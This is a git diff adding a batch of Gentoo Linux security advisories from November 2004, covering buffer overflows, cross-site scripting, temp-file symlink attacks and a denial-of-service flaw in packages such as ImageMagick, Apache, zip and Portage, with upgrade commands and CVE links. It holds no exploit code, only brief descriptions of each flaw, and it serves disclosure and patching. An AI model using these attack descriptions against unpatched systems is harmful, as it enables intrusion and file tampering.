+  </references>
+  <metadata tag="requester" timestamp="Mon,  1 Nov 2004 10:23:54 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue,  2 Nov 2004 21:56:13 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed,  3 Nov 2004 20:55:19 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-09.xml b/xml/htdocs/security/en/glsa/glsa-200411-09.xml
new file mode 100644
index 00000000..c96a801b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-09.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-09">
+  <title>shadow: Unauthorized modification of account information</title>
+  <synopsis>
+    A flaw in the chfn and chsh utilities might allow modification of account
+    properties by unauthorized users.
+  </synopsis>
+  <product type="ebuild">shadow</product>
+  <announced>November 04, 2004</announced>
+  <revised>November 05, 2004: 02</revised>
+  <bug>69212</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-apps/shadow" auto="yes" arch="*">
+      <unaffected range="ge">4.0.5-r1</unaffected>
+      <vulnerable range="lt">4.0.5-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    shadow provides a set of utilities to deal with user accounts.
+    </p>
+  </background>
+  <description>
+    <p>
+    Martin Schulze reported a flaw in the passwd_check() function in
+    "libmisc/pwdcheck.c" which is used by chfn and chsh.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A logged-in local user with an expired password may be able to use chfn and
+    chsh to change his standard shell or GECOS information (full name, phone
+    number...) without being required to change his password.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All shadow users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=sys-apps/shadow-4.0.5-r1"</code>
+  </resolution>
+  <references>
+    <uri link="http://ftp.pld.org.pl/software/shadow/NEWS">shadow NEWS file</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1001">CAN-2004-1001</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed,  3 Nov 2004 20:36:10 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed,  3 Nov 2004 20:36:17 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed,  3 Nov 2004 21:01:01 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-10.xml b/xml/htdocs/security/en/glsa/glsa-200411-10.xml
new file mode 100644
index 00000000..ee80ba61
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-10.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-10">
+  <title>Gallery: Cross-site scripting vulnerability</title>
+  <synopsis>
+    Gallery is vulnerable to cross-site scripting attacks.
+  </synopsis>
+  <product type="ebuild">gallery</product>
+  <announced>November 06, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>69904</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/gallery" auto="yes" arch="*">
+      <unaffected range="ge">1.4.4_p4</unaffected>
+      <vulnerable range="lt">1.4.4_p4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Gallery is a web application written in PHP which is used to organize
+    and publish photo albums. It allows multiple users to build and
+    maintain their own albums. It also supports the mirroring of images on
+    other servers.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jim Paris has discovered a cross-site scripting vulnerability in
+    Gallery.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By sending a carefully crafted URL, an attacker can inject and execute
+    script code in the victim's browser window, and potentially compromise
+    the users gallery.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gallery users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/gallery-1.4.4_p4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://gallery.menalto.com/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=142&amp;mode=thread&amp;order=0&amp;thold=0">Gallery Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1106">CVE-2004-1106</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri,  5 Nov 2004 01:49:40 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat,  6 Nov 2004 09:24:41 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-11.xml b/xml/htdocs/security/en/glsa/glsa-200411-11.xml
new file mode 100644
index 00000000..2466c9f1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-11.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-11">
+  <title>ImageMagick: EXIF buffer overflow</title>
+  <synopsis>
+    ImageMagick contains an error in boundary checks when handling EXIF
+    information, which could lead to arbitrary code execution.
+  </synopsis>
+  <product type="ebuild">imagemagick</product>
+  <announced>November 06, 2004</announced>
+  <revised>November 06, 2004: 01</revised>
+  <bug>69825</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/imagemagick" auto="yes" arch="*">
+      <unaffected range="ge">6.1.3.2</unaffected>
+      <vulnerable range="lt">6.1.3.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ImageMagick is a collection of tools to read, write and manipulate images
+    in many formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    ImageMagick fails to do proper bounds checking when handling image files
+    with EXIF information.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could use an image file with specially-crafted EXIF information
+    to cause arbitrary code execution with the permissions of the user running
+    ImageMagick.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ImageMagick users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=media-gfx/imagemagick-6.1.3.2"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0981">CAN-2004-0981</uri>
+    <uri link="http://www.imagemagick.org/www/Changelog.html">ImageMagick ChangeLog</uri>
+    <uri link="http://secunia.com/advisories/12995/">SA 12995</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri,  5 Nov 2004 13:21:51 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat,  6 Nov 2004 13:00:12 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat,  6 Nov 2004 18:34:28 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-12.xml b/xml/htdocs/security/en/glsa/glsa-200411-12.xml
new file mode 100644
index 00000000..f12f1f83
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-12.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-12">
+  <title>zgv: Multiple buffer overflows</title>
+  <synopsis>
+    zgv contains multiple buffer overflows that can potentially lead to the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">zgv</product>
+  <announced>November 07, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>69150</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/zgv" auto="yes" arch="*">
+      <unaffected range="ge">5.8</unaffected>
+      <vulnerable range="lt">5.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    zgv is a console image viewer based on svgalib.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple arithmetic overflows have been detected in the image
+    processing code of zgv.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially-crafted image file,
+    potentially resulting in execution of arbitrary code with the rights of
+    the user running zgv.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All zgv users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/zgv-5.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/379472">BugTraq Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1095">CVE-2004-1095</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat,  6 Nov 2004 19:26:29 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat,  6 Nov 2004 20:47:51 +0000">
+    lewk
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat,  6 Nov 2004 21:08:18 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-13.xml b/xml/htdocs/security/en/glsa/glsa-200411-13.xml
new file mode 100644
index 00000000..1b699e0f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-13.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-13">
+  <title>Portage, Gentoolkit: Temporary file vulnerabilities</title>
+  <synopsis>
+    dispatch-conf (included in Portage) and qpkg (included in Gentoolkit) are
+    vulnerable to symlink attacks, potentially allowing a local user to
+    overwrite arbitrary files with the rights of the user running the script.
+  </synopsis>
+  <product type="ebuild">portage gentoolkit</product>
+  <announced>November 07, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>68846</bug>
+  <bug>69147</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-apps/portage" auto="yes" arch="*">
+      <unaffected range="ge">2.0.51-r3</unaffected>
+      <vulnerable range="le">2.0.51-r2</vulnerable>
+    </package>
+    <package name="app-portage/gentoolkit" auto="yes" arch="*">
+      <unaffected range="ge">0.2.0_pre10-r1</unaffected>
+      <unaffected range="rge">0.2.0_pre8-r1</unaffected>
+      <vulnerable range="le">0.2.0_pre10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Portage is Gentoo's package management tool. The dispatch-conf utility
+    allows for easy rollback of configuration file changes and automatic
+    updates of configurations files never modified by users. Gentoolkit is
+    a collection of Gentoo specific administration scripts, one of which is
+    the portage querying tool qpkg.
+    </p>
+  </background>
+  <description>
+    <p>
+    dispatch-conf and qpkg use predictable filenames for temporary files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary files
+    directory, pointing to a valid file somewhere on the filesystem. When
+    an affected script is called, this would result in the file to be
+    overwritten with the rights of the user running the dispatch-conf or
+    qpkg, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Portage users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-apps/portage-2.0.51-r3&quot;</code>
+    <p>
+    All Gentoolkit users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-portage/gentoolkit-0.2.0_pre8-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1107">CVE-2004-1107</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1108">CVE-2004-1108</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue,  2 Nov 2004 14:02:06 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue,  2 Nov 2004 17:41:31 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun,  7 Nov 2004 11:16:08 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-14.xml b/xml/htdocs/security/en/glsa/glsa-200411-14.xml
new file mode 100644
index 00000000..960d6d9a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-14.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-14">
+  <title>Kaffeine, gxine: Remotely exploitable buffer overflow</title>
+  <synopsis>
+    Kaffeine and gxine both contain a buffer overflow that can be exploited
+    when accessing content from a malicious HTTP server with specially crafted
+    headers.
+  </synopsis>
+  <product type="ebuild">kaffeine gxine</product>
+  <announced>November 07, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>69663</bug>
+  <bug>70055</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/kaffeine" auto="yes" arch="*">
+      <unaffected range="ge">0.5_rc1-r1</unaffected>
+      <unaffected range="rge">0.4.3b-r1</unaffected>
+      <vulnerable range="lt">0.5_rc1-r1</vulnerable>
+    </package>
+    <package name="media-video/gxine" auto="yes" arch="*">
+      <unaffected range="ge">0.3.3-r1</unaffected>
+      <vulnerable range="lt">0.3.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Kaffeine and gxine are graphical front-ends for xine-lib multimedia
+    library.
+    </p>
+  </background>
+  <description>
+    <p>
+    KF of Secure Network Operations has discovered an overflow that occurs
+    during the Content-Type header processing of Kaffeine. The vulnerable
+    code in Kaffeine is reused from gxine, making gxine vulnerable as well.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could create a specially-crafted Content-type header from a
+    malicious HTTP server, and crash a user's instance of Kaffeine or
+    gxine, potentially allowing the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Kaffeine users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/kaffeine-0.4.3b-r1&quot;</code>
+    <p>
+    All gxine users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/gxine-0.3.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://securitytracker.com/alerts/2004/Oct/1011936.html">SecurityTracker Advisory</uri>
+    <uri link="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1060299&amp;group_id=9655&amp;atid=109655">gxine Bug Report</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1034">CVE-2004-1034</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed,  3 Nov 2004 13:13:11 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri,  5 Nov 2004 01:34:00 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun,  7 Nov 2004 19:19:00 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-15.xml b/xml/htdocs/security/en/glsa/glsa-200411-15.xml
new file mode 100644
index 00000000..5a56055e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-15.xml
@@ -0,0 +1,91 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-15">
+  <title>OpenSSL, Groff: Insecure tempfile handling</title>
+  <synopsis>
+    groffer, included in the Groff package, and the der_chop script, included
+    in the OpenSSL package, are both vulnerable to symlink attacks, potentially
+    allowing a local user to overwrite arbitrary files with the rights of the
+    user running the utility.
+  </synopsis>
+  <product type="ebuild">OpenSSL</product>
+  <announced>November 08, 2004</announced>
+  <revised>August 23, 2006: 02</revised>
+  <bug>68404</bug>
+  <bug>68407</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-libs/openssl" auto="yes" arch="*">
+      <unaffected range="ge">0.9.7d-r2</unaffected>
+      <vulnerable range="lt">0.9.7d-r2</vulnerable>
+    </package>
+    <package name="sys-apps/groff" auto="yes" arch="*">
+      <unaffected range="ge">1.19.1-r2</unaffected>
+      <unaffected range="rge">1.18.1.1</unaffected>
+      <vulnerable range="lt">1.19.1-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenSSL is a toolkit implementing the Secure Sockets Layer and
+    Transport Layer Security protocols as well as a general-purpose
+    cryptography library. It includes the der_chop script, which is used to
+    convert DER-encoded certificates to PEM format. Groff (GNU Troff) is a
+    typesetting package which reads plain text mixed with formatting
+    commands and produces formatted output. It includes groffer, a command
+    used to display groff files and man pages on X and tty.
+    </p>
+  </background>
+  <description>
+    <p>
+    groffer and the der_chop script create temporary files in
+    world-writeable directories with predictable names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary files
+    directory, pointing to a valid file somewhere on the filesystem. When
+    groffer or der_chop is executed, this would result in the file being
+    overwritten with the rights of the user running the utility, which
+    could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Groff users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose sys-apps/groff</code>
+    <p>
+    All OpenSSL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/openssl-0.9.7d-r2&quot;</code>
+    <p>
+    Note: /etc/ssl/misc/der_chop is protected by Portage as a configuration
+    file. Don't forget to use etc-update and overwrite the old version with
+    the new one.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0969">CAN-2004-0969</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0975">CAN-2004-0975</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun,  7 Nov 2004 18:43:48 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun,  7 Nov 2004 18:44:31 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-16.xml b/xml/htdocs/security/en/glsa/glsa-200411-16.xml
new file mode 100644
index 00000000..e6c006bd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-16.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-16">
+  <title>zip: Path name buffer overflow</title>
+  <synopsis>
+    zip contains a buffer overflow when creating a ZIP archive of files with
+    very long path names. This could lead to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">zip</product>
+  <announced>November 09, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>70227</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/zip" auto="yes" arch="*">
+      <unaffected range="ge">2.3-r4</unaffected>
+      <vulnerable range="le">2.3-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    zip is a compression and file packaging utility.
+    </p>
+  </background>
+  <description>
+    <p>
+    zip does not check the resulting path length when doing recursive
+    folder compression.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit this by enticing another user or web
+    application to create an archive including a specially-crafted path
+    name, potentially resulting in the execution of arbitrary code with the
+    permissions of the user running zip.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All zip users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/zip-2.3-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.hexview.com/docs/20041103-1.txt">HexView zip Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1010">CVE-2004-1010</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun,  7 Nov 2004 18:59:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon,  8 Nov 2004 15:14:42 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon,  8 Nov 2004 20:46:08 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-17.xml b/xml/htdocs/security/en/glsa/glsa-200411-17.xml
new file mode 100644
index 00000000..bdd34612
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-17.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-17">
+  <title>mtink: Insecure tempfile handling</title>
+  <synopsis>
+    mtink is vulnerable to symlink attacks, potentially allowing a local user
+    to overwrite arbitrary files with the rights of the user running the
+    utility.
+  </synopsis>
+  <product type="ebuild">mtink</product>
+  <announced>November 09, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>70310</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-print/mtink" auto="yes" arch="*">
+      <unaffected range="ge">1.0.5</unaffected>
+      <vulnerable range="lt">1.0.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    mtink is a status monitor and inkjet cartridge changer for some Epson
+    printers.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy from Gentoo Linux discovered that mtink uses insecure
+    permissions on temporary files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary files
+    directory, pointing to a valid file somewhere on the filesystem. When
+    mtink is executed, this would result in the file being overwritten with
+    the rights of the user running the utility, which could be the root
+    user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mtink users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-print/mtink-1.0.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1110">CVE-2004-1110</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon,  8 Nov 2004 11:16:34 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon,  8 Nov 2004 11:16:46 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon,  8 Nov 2004 21:01:51 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-18.xml b/xml/htdocs/security/en/glsa/glsa-200411-18.xml
new file mode 100644
index 00000000..cd323ca5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-18.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-18">
+  <title>Apache 2.0: Denial of Service by memory consumption</title>
+  <synopsis>
+    A flaw in Apache 2.0 could allow a remote attacker to cause a Denial of
+    Service.
+  </synopsis>
+  <product type="ebuild">apache</product>
+  <announced>November 10, 2004</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>70138</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="ge">2.0.52-r1</unaffected>
+      <unaffected range="lt">2.0</unaffected>
+      <vulnerable range="lt">2.0.52-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache HTTP Server is one of the most popular web servers on the Internet.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chintan Trivedi discovered a vulnerability in Apache httpd 2.0 that is caused by improper enforcing of the field length limit in the header-parsing code.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a large amount of specially-crafted HTTP GET requests a remote attacker could cause a Denial of Service of the targeted system.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Apache 2.0 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=www-servers/apache-2.0.52-r1"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942">CAN-2004-0942</uri>
+    <uri link="http://www.apacheweek.com/features/security-20">Security vulnerabilities in Apache httpd 2.0</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon,  8 Nov 2004 09:58:15 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue,  9 Nov 2004 20:43:00 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-19.xml b/xml/htdocs/security/en/glsa/glsa-200411-19.xml
new file mode 100644
index 00000000..3173207f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-19.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-19">
+  <title>Pavuk: Multiple buffer overflows</title>
+  <synopsis>
+    Pavuk contains multiple buffer overflows that can allow a remote attacker
+    to run arbitrary code.
+  </synopsis>
+  <product type="ebuild">pavuk</product>
+  <announced>November 10, 2004</announced>
+  <revised>November 10, 2004: 01</revised>
+  <bug>70516</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/pavuk" auto="yes" arch="*">
+      <unaffected range="ge">0.9.31</unaffected>
+      <vulnerable range="lt">0.9.31</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Pavuk is web spider and website mirroring tool.
+    </p>
+  </background>
+  <description>
+    <p>
+    Pavuk contains several buffer overflow vulnerabilities in the code handling digest authentication and HTTP header processing. This issue is similar to GLSA 200407-19, but contains more vulnerabilities.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could cause a buffer overflow, leading to arbitrary code execution with the rights of the user running Pavuk.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Pavuk users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=net-misc/pavuk-0.9.31"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200407-19.xml">GLSA-200407-19</uri>
+    <uri link="http://secunia.com/advisories/13120/">SA13120</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0456">CAN-2004-0456</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 10 Nov 2004 07:00:44 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 10 Nov 2004 15:50:02 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 10 Nov 2004 15:51:22 +0000">
+    lewk
+  </metadata>
+</glsa>
